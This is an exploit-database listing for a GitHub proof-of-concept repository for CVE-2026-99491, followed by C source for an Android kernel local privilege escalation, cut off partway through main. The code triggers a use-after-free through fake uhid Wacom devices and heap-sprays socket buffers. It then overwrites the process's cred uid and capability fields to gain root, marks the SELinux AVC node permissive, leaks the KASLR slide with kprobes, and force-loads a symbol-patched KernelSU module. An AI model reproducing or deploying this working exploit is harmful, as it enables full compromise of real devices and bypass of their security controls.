Exploit database

GH-1cd2e50c4d87a4ddd3e739325367870d

chayewuu/prague-cve-2026-99491

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-99491

9 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
chayewuu/prague-cve-2026-99491Revision 860d667c0f49

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/p6_prague.c

C · 35,329 bytes
/*
 * P6(prague 6.12.69):root + KASLR slide + 加载 KernelSU。
 *
 * 前三段与 P5 相同:kprobe 取 cred → 8 枪把 uid/euid/fsuid/caps 补成 0 →
 * AVC 节点 flags 置 PERMISSIVE,让 setenforce 0 通过。
 *
 * 之后补四件事:
 *   1) 落盘 /data/adb/ksud:sucompat 的 su 重定向以它为目标,缺了 su 就是 126;
 *   2) 求 slide:kprobe ksys_write 取 lr(调用点返回地址)。prague 上
 *      __arm64_sys_write 的 `bl ksys_write` 在 0xffffffc080463560,两者相减
 *      即 KASLR 偏移,用 2MB 对齐做校验;
 *   3) 把 kernelsu-prague.ko 的 UND 符号按 ksu_symbols.inc 的链接地址 +
 *      slide 写成 SHN_ABS,再 finit_module。这一步与 98260 完全一致,不改;
 *   4) 把 enforce 写回 0:KSU 加载时会自己设回 1,而 mksh 的可执行性检查
 *      要在 Permissive 下才过。
 *
 * 编译(不要加 -lpthread):
 *   $cc -O2 -static -o exploit-prague-99491 exploit-prague-99491.c
 * 运行(必须 shell 身份,uid=2000;整链只跑一次,重跑前必须重启):
 *   ./exploit-prague-99491
 */

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <elf.h>
#include <stdint.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/uhid.h>

#define KSU_MODULE_PATH "/data/local/tmp/kernelsu-prague.ko"

/* KSU 的 su 重定向目标是 KSUD_PATH=/data/adb/ksud;该文件不存在时
 * is_ksud_exists() 为假,execve 无落点,su 直接 EACCES(126)。
 * 必须在 finit_module 之前落盘,此时本进程 euid=0、fsuid=0、enforce=0。 */
#define KSUD_SRC_PATH   "/data/local/tmp/ksud_src"
#define KSUD_DST_PATH   "/data/adb/ksud"
#define KSUD_DIR_PATH   "/data/adb/ksu"

/* __arm64_sys_write 里 bl ksys_write 的返回点(Image.symbols.txt 推出) */
#define LINK_KSYS_WRITE_LR 0xffffffc080463560ULL

#include "ksu_symbols.inc"

#define WACOM_VID   0x056a
#define PID_TOUCH   0x1101
#define PID_PAD     0x1102
#define PHYS_PAIR   "uhidpair/99"

#define TRACE_DIR   "/sys/kernel/tracing"

/* 6.12.69 BTF 实测偏移(prague) */
#define OFF_EVBIT      0x28
#define OFF_SWBIT      0xc8
#define OFF_SW         0x1c0
#define OFF_NUM_VALS   0x5e0
#define OFF_MAX_VALS   0x5e4
#define OFF_VALS       0x5e8
#define OFF_INHIBITED  0x610

/* struct cred */
/* 从 +0x04 起写 8 字节,词的第二个 u32 落在 uid(+0x08) 上;代价是 usage 高 32 位被写脏 */
#define OFF_CRED_USAGE_HI       0x04
#define OFF_CRED_SGID           0x14
#define OFF_CRED_EGID           0x1c
#define OFF_CRED_FSGID          0x24
#define OFF_CRED_CAP_PERMITTED  0x38
#define OFF_CRED_CAP_EFFECTIVE  0x40
#define OFF_CRED_CAP_BSET       0x48

/* task_struct */
#define OFF_TASK_CRED  0x900

/* avc_node 里 avd.flags 的位置:ae.avd(+0x0c) + av_decision.flags(+0x10) */
#define OFF_NODE_FLAGS 0x1c

#define SPRAY_LEN      1664UL
#define SPRAY_PAIRS    48

/* 结论行里显示的模块名 */
#ifndef KSU_DISPLAY_NAME
#define KSU_DISPLAY_NAME "KernelSU"
#endif

static int spray_fd[SPRAY_PAIRS][2];

static const unsigned char rdesc_touch[] = {
    0x05, 0x0d, 0x09, 0x04, 0xa1, 0x01, 0x85, 0x01,
    0x05, 0x0d, 0x09, 0x22, 0xa1, 0x00,
    0x09, 0x42, 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x01, 0x81, 0x02,
    0x09, 0x32, 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x01, 0x81, 0x02,
    0x05, 0x01, 0x09, 0x30, 0x16, 0x01, 0x00, 0x26, 0xff, 0x7f,
    0x75, 0x10, 0x95, 0x01, 0x81, 0x02,
    0x09, 0x31, 0x26, 0xff, 0x7f, 0x75, 0x10, 0x95, 0x01, 0x81, 0x02,
    0xc0, 0xc0
};

static const unsigned char rdesc_pad[] = {
    0x05, 0x0d, 0x09, 0x01, 0xa1, 0x01, 0x85, 0x02,
    0x05, 0x0d, 0x09, 0x39, 0xa1, 0x00,
    0x06, 0x0d, 0xff, 0x0a, 0x54, 0x04,
    0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x01, 0x81, 0x02,
    0x0a, 0x95, 0x09, 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x01, 0x81, 0x02,
    0xc0, 0xc0
};

static void phase(const char *tag)
{
    printf("PHASE %s\n", tag);
    fflush(stdout);
}

/* append=0 用 O_TRUNC(清空 trace 必须这样),append=1 用 O_APPEND */
static int trace_write(const char *path, const char *text, int append)
{
    int flags = O_WRONLY | O_CLOEXEC | (append ? O_APPEND : O_TRUNC);
    size_t len = strlen(text);
    int fd = open(path, flags);

    if (fd < 0)
        return -1;
    if (write(fd, text, len) != (ssize_t)len) {
        close(fd);
        return -1;
    }
    close(fd);
    return 0;
}

/* 两次改名:第一跳登记标记,第二跳的 $comm 才是该标记,据此锁定本进程那条记录 */
static unsigned long long read_self_cred(void)
{
    char line[512];
    unsigned long long cred = 0;
    FILE *f;

    prctl(PR_SET_NAME, "p5probe", 0, 0, 0);
    usleep(60 * 1000);
    prctl(PR_SET_NAME, "p5cred", 0, 0, 0);
    usleep(60 * 1000);

    f = fopen(TRACE_DIR "/trace", "r");
    if (!f) {
        fprintf(stderr, "读 trace 失败: %s\n", strerror(errno));
        return 0;
    }
    while (fgets(line, sizeof(line), f)) {
        char *tag = strstr(line, "comm=\"p5probe\"");
        char *p;

        if (!tag)
            continue;
        p = strstr(line, "cred=0x");
        if (!p)
            continue;
        cred = strtoull(p + 7, NULL, 16);
        break;
    }
    fclose(f);
    return cred;
}

static int uhid_open(void)
{
    int fd = open("/dev/uhid", O_RDWR | O_CLOEXEC);

    if (fd < 0)
        fprintf(stderr, "打不开 /dev/uhid: %s (errno=%d)\n",
                strerror(errno), errno);
    return fd;
}

static int uhid_create(int fd, const char *name, unsigned short pid,
                       const char *phys, const unsigned char *rd, size_t rdlen)
{
    struct uhid_event ev;

    memset(&ev, 0, sizeof(ev));
    ev.type = UHID_CREATE2;
    snprintf((char *)ev.u.create2.name, sizeof(ev.u.create2.name), "%s", name);
    ev.u.create2.bus     = BUS_USB;
    ev.u.create2.vendor  = WACOM_VID;
    ev.u.create2.product = pid;
    snprintf((char *)ev.u.create2.phys, sizeof(ev.u.create2.phys), "%s", phys);
    if (rdlen > sizeof(ev.u.create2.rd_data)) {
        fprintf(stderr, "rdesc 超长: %zu\n", rdlen);
        return -1;
    }
    memcpy(ev.u.create2.rd_data, rd, rdlen);
    ev.u.create2.rd_size = (unsigned short)rdlen;
    if (write(fd, &ev, sizeof(ev)) < 0) {
        fprintf(stderr, "UHID_CREATE2(%s) 失败: %s (errno=%d)\n",
                name, strerror(errno), errno);
        return -1;
    }
    return 0;
}

static int uhid_report(int fd, const unsigned char *data, size_t n)
{
    struct uhid_event ev;

    memset(&ev, 0, sizeof(ev));
    ev.type = UHID_INPUT2;
    ev.u.input2.size = (unsigned short)n;
    memcpy(ev.u.input2.data, data, n);
    if (write(fd, &ev, sizeof(ev)) < 0) {
        fprintf(stderr, "UHID_INPUT2 失败: %s (errno=%d)\n",
                strerror(errno), errno);
        return -1;
    }
    return 0;
}

static void uhid_destroy(int fd)
{
    struct uhid_event ev;

    memset(&ev, 0, sizeof(ev));
    ev.type = UHID_DESTROY;
    (void)write(fd, &ev, sizeof(ev));
    close(fd);
}

static int spray_setup(void)
{
    int rcv = 1048576;

    for (int p = 0; p < SPRAY_PAIRS; p++) {
        spray_fd[p][0] = spray_fd[p][1] = -1;
        if (socketpair(AF_UNIX, SOCK_STREAM, 0, spray_fd[p]) < 0) {
            perror("socketpair");
            return -1;
        }
        for (int e = 0; e < 2; e++) {
            setsockopt(spray_fd[p][e], SOL_SOCKET, SO_RCVBUF, &rcv, sizeof(rcv));
            setsockopt(spray_fd[p][e], SOL_SOCKET, SO_SNDBUF, &rcv, sizeof(rcv));
        }
    }
    return 0;
}

static long spray_fire(long n, const unsigned char *buf)
{
    cpu_set_t saved, one;
    long sent = 0;

    if (sched_getaffinity(0, sizeof(saved), &saved) < 0)
        return -1;

    long per_cpu = n / 8;

    for (int c = 0; c < 8; c++) {
        if (!CPU_ISSET(c, &saved))
            continue;
        CPU_ZERO(&one);
        CPU_SET(c, &one);
        sched_setaffinity(0, sizeof(one), &one);
        for (long i = 0; i < per_cpu; i++) {
            int p = (int)(i % SPRAY_PAIRS);

            if (write(spray_fd[p][0], buf, SPRAY_LEN) != (ssize_t)SPRAY_LEN) {
                perror("spray write");
                sched_setaffinity(0, sizeof(saved), &saved);
                return -1;
            }
            sent++;
        }
    }
    sched_setaffinity(0, sizeof(saved), &saved);
    return sent;
}

static int spray_spread(long n, long ms, const unsigned char *buf)
{
    const long chunk = 384;
    long chunks = (n + chunk - 1) / chunk;
    long gap_us = chunks > 1 ? ms * 1000 / (chunks - 1) : 0;

    if (gap_us < 1000)
        gap_us = 1000;
    for (long c = 0; c < chunks; c++) {
        long k = (c == chunks - 1) ? n - chunk * (chunks - 1) : chunk;

        if (k > 0 && spray_fire(k, buf) < 0)
            return -1;
        if (c < chunks - 1)
            usleep((useconds_t)gap_us);
    }
    return 0;
}

static void build_fake_dev(unsigned char *buf, size_t len,
                           unsigned long long vals_target, int sw_value)
{
    unsigned long long evbit = 0x20ULL;
    unsigned long long swbit = 1ULL << 14;
    /* sw 记录的是"变化前"的状态:要写 value=0,假设备得先"是 1" */
    unsigned long long sw_state = sw_value ? 0ULL : (1ULL << 14);
    unsigned int num_vals = 0;
    unsigned int max_vals = 0x1000;
    unsigned int inhibited = 0;

    memset(buf, 0, len);
    memcpy(buf + OFF_EVBIT, &evbit, 8);
    memcpy(buf + OFF_SWBIT, &swbit, 8);
    memcpy(buf + OFF_SW, &sw_state, 8);
    memcpy(buf + OFF_NUM_VALS, &num_vals, 4);
    memcpy(buf + OFF_MAX_VALS, &max_vals, 4);
    memcpy(buf + OFF_VALS, &vals_target, 8);
    memcpy(buf + OFF_INHIBITED, &inhibited, 4);
}

/* 做一次 UAF 写:把 8 字节固定词写到 target */
static int uaf_write(unsigned long long target, int sw_value,
                     long spray_n, long spread_ms, unsigned char *buf)
{
    int fd_t = -1, fd_p = -1;
    int rc = -1;

    fd_t = uhid_open();
    fd_p = uhid_open();
    if (fd_t < 0 || fd_p < 0)
        goto out;

    if (uhid_create(fd_t, "wacom-pair-touch", PID_TOUCH, PHYS_PAIR,
                    rdesc_touch, sizeof(rdesc_touch)) < 0)
        goto out;
    usleep(800 * 1000);

    if (uhid_create(fd_p, "wacom-pair-pad", PID_PAD, PHYS_PAIR,
                    rdesc_pad, sizeof(rdesc_pad)) < 0)
        goto out;
    sleep(2);

    /*
     * 两跳都必需:第一跳把真实 sw 推到"要写值的反面",第二跳才是一次变化,
     * 内核才会走 input_event_dispose 那条写 vals[] 的路径。
     */
    {
        unsigned char r[2] = { 0x02, sw_value ? 0x01 : 0x00 };

        uhid_report(fd_p, r, sizeof(r));
    }
    usleep(500 * 1000);

    uhid_destroy(fd_t);
    fd_t = -1;
    usleep(500 * 1000);

    build_fake_dev(buf, SPRAY_LEN, target, sw_value);
    if (spray_spread(spray_n, spread_ms, buf) < 0)
        goto out;
    usleep(100 * 1000);

    {
        unsigned char r[2] = { 0x02, sw_value ? 0x00 : 0x01 };

        uhid_report(fd_p, r, sizeof(r));
    }
    usleep(300 * 1000);
    rc = 0;

out:
    if (fd_p >= 0)
        uhid_destroy(fd_p);
    if (fd_t >= 0)
        uhid_destroy(fd_t);
    return rc;
}

/* 收回 skb:不读出数据,下一轮 kmalloc-2k 就没有空槽可用 */
static void spray_drain(void)
{
    unsigned char tmp[4096];

    for (int p = 0; p < SPRAY_PAIRS; p++) {
        for (int e = 0; e < 2; e++) {
            int fd = spray_fd[p][e];
            int fl;

            if (fd < 0)
                continue;
            fl = fcntl(fd, F_GETFL, 0);
            fcntl(fd, F_SETFL, fl | O_NONBLOCK);
            while (recv(fd, tmp, sizeof(tmp), 0) > 0)
                ;
        }
    }
}

/* ---- 每枪的生效判据:不达标就重打,宁可多花时间也不假设一次就中 ---- */

static unsigned long long read_cap(const char *key)
{
    char line[256];
    unsigned long long v = 0;
    size_t kl = strlen(key);
    FILE *f = fopen("/proc/self/status", "r");

    if (!f)
        return 0;
    while (fgets(line, sizeof(line), f)) {
        if (!strncmp(line, key, kl)) {
            v = strtoull(line + kl, NULL, 16);
            break;
        }
    }
    fclose(f);
    return v;
}

/* idx: 0=real 1=effective 2=saved 3=fs */
static int read_id_field(const char *key, int idx)
{
    char line[256];
    int v[4] = { -1, -1, -1, -1 };
    size_t kl = strlen(key);
    FILE *f = fopen("/proc/self/status", "r");

    if (!f)
        return -1;
    while (fgets(line, sizeof(line), f)) {
        if (!strncmp(line, key, kl)) {
            sscanf(line + kl, "%d %d %d %d", &v[0], &v[1], &v[2], &v[3]);
            break;
        }
    }
    fclose(f);
    return v[idx];
}

static int ok_uid(void)         { return getuid() == 0; }
static int ok_euid(void)        { return geteuid() == 0; }
static int ok_fsuid(void)       { return read_id_field("Uid:", 3) == 0; }
static int ok_fsgid(void)       { return read_id_field("Gid:", 3) != 2000; }
static int ok_cap_perm(void)    { return (read_cap("CapPrm:") & 0xe0005ULL) == 0xe0005ULL; }
static int ok_cap_eff_low(void) { return (read_cap("CapEff:") & 0xe0005ULL) == 0xe0005ULL; }
static int ok_cap_eff_16(void)  { return (read_cap("CapEff:") >> 16) & 1ULL; }
static int ok_cap_bset(void)    { return (read_cap("CapBnd:") & 0xe0005ULL) == 0xe0005ULL; }

static void print_self(void)
{
    char line[256];
    FILE *f = fopen("/proc/self/status", "r");

    printf("[*] uid=%d euid=%d\n", getuid(), geteuid());
    if (!f)
        return;
    while (fgets(line, sizeof(line), f)) {
        if (!strncmp(line, "Uid:", 4) || !strncmp(line, "Gid:", 4) ||
            !strncmp(line, "CapEff:", 7) || !strncmp(line, "CapPrm:", 7) ||
            !strncmp(line, "CapBnd:", 7)) {
            line[strcspn(line, "\n")] = 0;
            printf("[*] %s\n", line);
        }
    }
    fclose(f);
}

/* 读 /sys/fs/selinux/enforce:0=Permissive,1=Enforcing,-1=读失败 */
static int read_enforce(void)
{
    char c = 1;
    int fd = open("/sys/fs/selinux/enforce", O_RDONLY | O_CLOEXEC);

    if (fd < 0)
        return -1;
    if (read(fd, &c, 1) != 1)
        c = 1;
    close(fd);
    return c == '0' ? 0 : 1;
}

/* 写 enforce;返回 0 或负 errno。成功时不打 errno —— 那个值是上一次调用的残值,会误导 */
static int write_enforce(char v)
{
    int fd = open("/sys/fs/selinux/enforce", O_WRONLY | O_CLOEXEC);
    int rc, e;

    if (fd < 0) {
        e = errno;
        printf("[!] 打开 enforce 失败 errno=%d (%s)\n", e, strerror(e));
        return -e;
    }
    rc = (int)write(fd, &v, 1);
    if (rc < 0) {
        e = errno;
        printf("[!] 写 enforce 失败 errno=%d (%s)\n", e, strerror(e));
        rc = -e;
    }
    close(fd);
    return rc;
}

/*
 * 拿 AVC 缓存节点地址。
 *
 * avc_has_perm_noaudit() 命中后做的是 memcpy(avd, &node->ae.avd, ...),
 * avc_denied() 收到的 avd 只是栈上副本,改它出函数就没了;真正要改的是
 * node->ae.avd(node+0x0c 起,flags 在 +0x10 ⇒ node+0x1c)。
 * node 只能从 avc_lookup() 的返回值拿,所以挂 kretprobe 读 $retval。
 *
 * 两次 write_enforce:第一跳让 (ssid,tsid,tclass) 进缓存,第二跳才命中。
 */
static unsigned long long probe_node(void)
{
    char line[512];
    unsigned long long node = 0;
    FILE *f;

    prctl(PR_SET_NAME, "p5node", 0, 0, 0);

    trace_write(TRACE_DIR "/trace", "", 0);
    trace_write(TRACE_DIR "/kprobe_events", "-:irq/vnode\n", 1);
    if (trace_write(TRACE_DIR "/kprobe_events",
                    "r:irq/vnode avc_lookup node=$retval:x64 "
                    "ssid=$arg1:u32 tsid=$arg2:u32 tclass=$arg3:u32 "
                    "comm=$comm:string\n", 1) < 0) {
        fprintf(stderr, "挂 avc_lookup 探针失败\n");
        return 0;
    }
    trace_write(TRACE_DIR "/events/irq/enable", "1\n", 0);
    trace_write(TRACE_DIR "/tracing_on", "1\n", 0);
    usleep(100 * 1000);

    /* 连写三次:round 1 让节点进缓存,round 2/3 稳定命中 */
    for (int i = 0; i < 3; i++) {
        write_enforce('0');
        usleep(60 * 1000);
    }

    trace_write(TRACE_DIR "/events/irq/enable", "0\n", 0);
    trace_write(TRACE_DIR "/tracing_on", "0\n", 0);

    f = fopen(TRACE_DIR "/trace", "r");
    if (f) {
        while (fgets(line, sizeof(line), f)) {
            char *pn, *pt;
            unsigned long long v;
            unsigned tc;

            if (!strstr(line, "comm=\"p5node\""))
                continue;
            pn = strstr(line, "node=0x");
            pt = strstr(line, "tclass=");
            if (!pn || !pt)
                continue;
            v = strtoull(pn + 7, NULL, 16);
            tc = (unsigned)strtoul(pt + 7, NULL, 10);
            printf("[*] node=0x%llx tclass=%u\n", v, tc);
            /* tclass=1 是 SECCLASS_SECURITY,setenforce 走的就是这条 */
            if (tc == 1 && v)
                node = v;
        }
        fclose(f);
    }
    trace_write(TRACE_DIR "/kprobe_events", "-:irq/vnode\n", 1);
    return node;
}

/* ---------------- KASLR 偏移 ---------------- */

static uint64_t kernel_slide;

/*
 * ksys_write 的调用点返回地址减去链接地址即 slide。lr 是从 x30 直接读的,
 * 不受 kptr_restrict 影响;只认本进程 comm 的记录,并按 2MB 对齐校验。
 */
static uint64_t read_slide(void)
{
    char line[512];
    uint64_t slide = 0;
    FILE *f;

    prctl(PR_SET_NAME, "p6slide", 0, 0, 0);

    trace_write(TRACE_DIR "/trace", "", 0);
    trace_write(TRACE_DIR "/kprobe_events", "-:irq/vlrw\n", 1);
    if (trace_write(TRACE_DIR "/kprobe_events",
                    "p:irq/vlrw ksys_write lr=%x30 comm=$comm:string\n", 1) < 0) {
        fprintf(stderr, "挂 ksys_write 探针失败\n");
        return 0;
    }
    trace_write(TRACE_DIR "/events/irq/enable", "1\n", 0);
    trace_write(TRACE_DIR "/tracing_on", "1\n", 0);
    usleep(50 * 1000);

    /* 自身的 write 会走 ksys_write,制造记录 */
    if (write(STDOUT_FILENO, " ", 1) < 0 || write(STDERR_FILENO, " ", 1) < 0)
        printf("[*] 触发用 write 返回异常 errno=%d\n", errno);
    usleep(80 * 1000);

    trace_write(TRACE_DIR "/events/irq/enable", "0\n", 0);
    trace_write(TRACE_DIR "/tracing_on", "0\n", 0);

    f = fopen(TRACE_DIR "/trace", "r");
    if (f) {
        while (fgets(line, sizeof(line), f)) {
            char *p;
            uint64_t lr, cand;

            if (!strstr(line, "comm=\"p6slide\""))
                continue;
            p = strstr(line, "lr=0x");
            if (!p)
                continue;
            lr = strtoull(p + 5, NULL, 16);
            cand = lr - LINK_KSYS_WRITE_LR;
            printf("[*] lr=0x%llx -> slide=0x%llx\n",
                   (unsigned long long)lr, (unsigned long long)cand);
            if (!(cand & 0x1fffffULL) && cand < 0x8000000000ULL)
                slide = cand;
        }
        fclose(f);
    }
    trace_write(TRACE_DIR "/kprobe_events", "-:irq/vlrw\n", 1);
    return slide;
}

/* ---------------- KernelSU 模块修补与加载 ---------------- */

static const struct ksu_symbol *ksu_symbol_find(const char *name)
{
    int low = 0;
    int high = (int)KSU_SYMBOL_COUNT - 1;

    while (low <= high) {
        int mid = low + (high - low) / 2;
        int order = strcmp(name, ksu_symbols[mid].name);

        if (!order)
            return &ksu_symbols[mid];
        if (order < 0)
            high = mid - 1;
        else
            low = mid + 1;
    }
    return NULL;
}

static int ksu_read_file(const char *path, unsigned char **out, size_t *out_size)
{
    struct stat st;
    unsigned char *buffer;
    size_t done = 0;
    int fd;

    *out = NULL;
    *out_size = 0;
    fd = open(path, O_RDONLY | O_CLOEXEC);
    if (fd < 0)
        return -1;
    if (fstat(fd, &st) || st.st_size <= 0 || st.st_size > (off_t)(16 * 1024 * 1024)) {
        close(fd);
        return -1;
    }
    buffer = malloc((size_t)st.st_size);
    if (!buffer) {
        close(fd);
        return -1;
    }
    while (done < (size_t)st.st_size) {
        ssize_t got = read(fd, buffer + done, (size_t)st.st_size - done);

        if (got < 0 && errno == EINTR)
            continue;
        if (got <= 0) {
            free(buffer);
            close(fd);
            return -1;
        }
        done += (size_t)got;
    }
    close(fd);
    *out = buffer;
    *out_size = done;
    return 0;
}

/*
 * simplify_symbols 对 SHN_ABS 只采信 st_value、跳过解析,所以把模块里未定义的
 * 导入符号就地改成"链接地址 + slide"即可绕过 resolve_symbol。
 */
static int ksu_patch_module(unsigned char *image, size_t size, int *patched, int *missing)
{
    const Elf64_Shdr *sections;
    const Elf64_Shdr *symtab = NULL;
    const Elf64_Shdr *strtab;
    const Elf64_Ehdr *header;
    const char *names;
    Elf64_Sym *symbols;
    size_t count;
    int index;

    *patched = 0;
    *missing = 0;
    if (size < sizeof(*header))
        return -1;
    header = (const Elf64_Ehdr *)image;
    if (memcmp(header->e_ident, ELFMAG, SELFMAG) || header->e_ident[EI_CLASS] != ELFCLASS64 ||
        header->e_type != ET_REL || header->e_machine != EM_AARCH64 || !header->e_shoff ||
        header->e_shentsize != sizeof(Elf64_Shdr) || !header->e_shnum ||
        header->e_shoff + (size_t)header->e_shnum * sizeof(Elf64_Shdr) > size)
        return -1;
    sections = (const Elf64_Shdr *)(image + header->e_shoff);
    for (index = 0; index < header->e_shnum; index++) {
        if (sections[index].sh_type == SHT_SYMTAB && !symtab)
            symtab = &sections[index];
    }
    if (!symtab || symtab->sh_entsize != sizeof(Elf64_Sym) || !symtab->sh_link ||
        symtab->sh_link >= header->e_shnum || symtab->sh_size % sizeof(Elf64_Sym) ||
        symtab->sh_offset + symtab->sh_size > size)
        return -1;
    strtab = &sections[symtab->sh_link];
    if (strtab->sh_offset + strtab->sh_size > size)
        return -1;
    symbols = (Elf64_Sym *)(image + symtab->sh_offset);
    names = (const char *)(image + strtab->sh_offset);
    count = symtab->sh_size / sizeof(Elf64_Sym);
    for (index = 1; index < (int)count; index++) {
        const struct ksu_symbol *found;
        const char *name;

        if (symbols[index].st_shndx != SHN_UNDEF || !symbols[index].st_name)
            continue;
        if (symbols[index].st_name >= strtab->sh_size)
            return -1;
        name = names + symbols[index].st_name;
        if (!memchr(name, '\0', strtab->sh_size - symbols[index].st_name))
            return -1;
        found = ksu_symbol_find(name);
        if (!found) {
            printf("KSU_SYM_MISS name=%s\n", name);
            (*missing)++;
            continue;
        }
        symbols[index].st_value = found->link + kernel_slide;
        symbols[index].st_shndx = SHN_ABS;
        (*patched)++;
    }
    return 0;
}

static int ksu_kmsg_open(void)
{
    int fd = open("/dev/kmsg", O_RDONLY | O_NONBLOCK | O_CLOEXEC);

    if (fd < 0)
        return -1;
    if (lseek(fd, 0, SEEK_END) < 0) {
        close(fd);
        return -1;
    }
    return fd;
}

static void ksu_kmsg_dump(int fd, const char *tag)
{
    char line[512];
    int count = 0;

    if (fd < 0) {
        printf("KSU_KMSG_UNAVAILABLE tag=%s errno=%d\n", tag, errno);
        return;
    }
    for (;;) {
        ssize_t got = read(fd, line, sizeof(line) - 1);
        char *body;

        if (got < 0 && errno == EINTR)
            continue;
        if (got <= 0)
            break;
        line[got] = '\0';
        body = strchr(line, ';');
        printf("KSU_KMSG %s %s", tag, body ? body + 1 : line);
        if (++count >= 600)
            break;
    }
    printf("KSU_KMSG_END tag=%s lines=%d\n", tag, count);
}

/* 把 ksud 实体装到 /data/adb/ksud,并建出 /data/adb/ksu 目录。
 * 返回值只用于打印,缺 ksud 时 KSU 仍能加载,只是 su 不可用。 */
static int install_ksud(void)
{
    unsigned char *buf = NULL;
    size_t size = 0;
    size_t done = 0;
    int fd;

    if (ksu_read_file(KSUD_SRC_PATH, &buf, &size)) {
        printf("KSUD_INSTALL stage=read path=%s errno=%d\n", KSUD_SRC_PATH, errno);
        return -1;
    }
    if (mkdir("/data/adb", 0700) && errno != EEXIST)
        printf("KSUD_INSTALL mkdir=/data/adb errno=%d\n", errno);
    if (mkdir(KSUD_DIR_PATH, 0700) && errno != EEXIST)
        printf("KSUD_INSTALL mkdir=%s errno=%d\n", KSUD_DIR_PATH, errno);

    fd = open(KSUD_DST_PATH, O_WRONLY | O_CREAT | O_TRUNC, 0755);
    if (fd < 0) {
        printf("KSUD_INSTALL stage=open path=%s errno=%d\n", KSUD_DST_PATH, errno);
        free(buf);
        return -1;
    }
    while (done < size) {
        ssize_t wrote = write(fd, buf + done, size - done);

        if (wrote < 0 && errno == EINTR)
            continue;
        if (wrote <= 0)
            break;
        done += (size_t)wrote;
    }
    free(buf);
    close(fd);
    if (done != size) {
        printf("KSUD_INSTALL stage=write done=%zu size=%zu errno=%d\n", done, size, errno);
        return -1;
    }
    if (chmod(KSUD_DST_PATH, 0755))
        printf("KSUD_INSTALL chmod errno=%d\n", errno);
    printf("KSUD_INSTALL ok size=%zu path=%s\n", size, KSUD_DST_PATH);
    return 0;
}

static int load_kernelsu_module(void)
{
    unsigned char *image = NULL;
    size_t size = 0;
    size_t done = 0;
    int patched = 0;
    int missing = 0;
    int fd = -1;
    int result;
    int kmsg = -1;

    if (ksu_read_file(KSU_MODULE_PATH, &image, &size)) {
        printf("KSU_LOAD_FAIL stage=read path=%s errno=%d\n", KSU_MODULE_PATH, errno);
        return -1;
    }
    if (ksu_patch_module(image, size, &patched, &missing)) {
        printf("KSU_LOAD_FAIL stage=elf size=%zu\n", size);
        free(image);
        return -1;
    }
    printf("KSU_PATCH_SYMBOLS patched=%d missing=%d slide=%#llx\n", patched, missing,
           (unsigned long long)kernel_slide);
    if (missing) {
        free(image);
        return -1;
    }
    fd = (int)syscall(SYS_memfd_create, "ksu", 1U);
    if (fd < 0) {
        printf("KSU_LOAD_FAIL stage=memfd errno=%d\n", errno);
        free(image);
        return -1;
    }
    while (done < size) {
        ssize_t wrote = write(fd, image + done, size - done);

        if (wrote < 0 && errno == EINTR)
            continue;
        if (wrote <= 0)
            break;
        done += (size_t)wrote;
    }
    free(image);
    if (done != size || lseek(fd, 0, SEEK_SET) != 0) {
        printf("KSU_LOAD_FAIL stage=write done=%zu size=%zu errno=%d\n", done, size, errno);
        close(fd);
        return -1;
    }
    kmsg = ksu_kmsg_open();
    result = (int)syscall(SYS_finit_module, fd, "", 0);
    if (result && errno == EEXIST) {
        /* 同名模块已在内核里,按成功处理 */
        printf("[*] %s 已在内核里(EEXIST),跳过加载\n", KSU_DISPLAY_NAME);
        result = 0;
    } else {
        printf("KSU_FINIT_MODULE result=%d errno=%d\n", result, result ? errno : 0);
    }
    fflush(NULL);
    ksu_kmsg_dump(kmsg, result ? "fail" : "ok");
    if (kmsg >= 0)
        close(kmsg);
    close(fd);
    return result;
}

static int kernelsu_module_loaded(void)
{
    char line[256];
    FILE *fp = fopen("/proc/modules", "re");
    int found = 0;

    if (!fp)
        return 0;
    while (fgets(line, sizeof(line), fp)) {
        if (!strncmp(line, "kernelsu ", 9)) {
            found = 1;
            break;
        }
    }
    fclose(fp);
    return found;
}

int main(int argc, char **argv)
{
    static const struct {
        unsigned int off;
        int val;
        const char *what;
        int (*ok)(void);
    } shots[] = {
        { OFF_CRED_USAGE_HI,      0, "usage高字/uid",            ok_uid },
        { OFF_CRED_SGID,          0, "sgid/euid",               ok_euid },
        { OFF_CRED_EGID,          0, "egid/fsuid",              ok_fsuid },
        { OFF_CRED_FSGID,         0, "fsgid/securebits",        ok_fsgid },
        { OFF_CRED_CAP_PERMITTED, 0, "cap_permitted",           ok_cap_perm },
        { OFF_CRED_CAP_EFFECTIVE, 0, "cap_effective 低词",      ok_cap_eff_low },
        { OFF_CRED_CAP_EFFECTIVE - 2, 1, "cap_effective bit16", ok_cap_eff_16 },
        { OFF_CRED_CAP_BSET,      0, "cap_bset",                ok_cap_bset },
    };
    unsigned long long cred = 0, avd;
    long spray_n = 8192, spread_ms = 700;
    unsigned char *buf;
    int ksu_loaded = 0;

    buf = malloc(SPRAY_LEN);
    if (!buf)
        return 1;

    phase("START");
    print_self();

    /*
     * 模块已在内核里时不要再跑:kmalloc-2k 已被 KSU 占据,spray 抢占会落空,
     * 然后把垃圾当 input_dev 读,直接 panic。重跑前必须先重启。
     */
    if (kernelsu_module_loaded()) {
        printf("[*] %s 已在内核里,本次不再执行。\n", KSU_DISPLAY_NAME);
        printf("[!] 需要重新执行提权时,请重启设备后重新运行;"
               "su 不可用时同样需要重启设备。\n");
        printf("KSU_STATE READY\n");
        phase("OK");
        free(buf);
        return 0;
    }

    if (argc > 1) {
        cred = strtoull(argv[1], NULL, 0);
        printf("[*] 使用外部给点的 cred=0x%llx\n", cred);
    } else {
        char rule[256];

        /* 偏移取自 OFF_TASK_CRED,避免与宏脱钩 */
        snprintf(rule, sizeof(rule),
                 "p:irq/vtc __set_task_comm tsk=%%x0:x64 "
                 "cred=+0x%x(%%x0):x64 comm=$comm:string\n", OFF_TASK_CRED);
        trace_write(TRACE_DIR "/trace", "", 0);
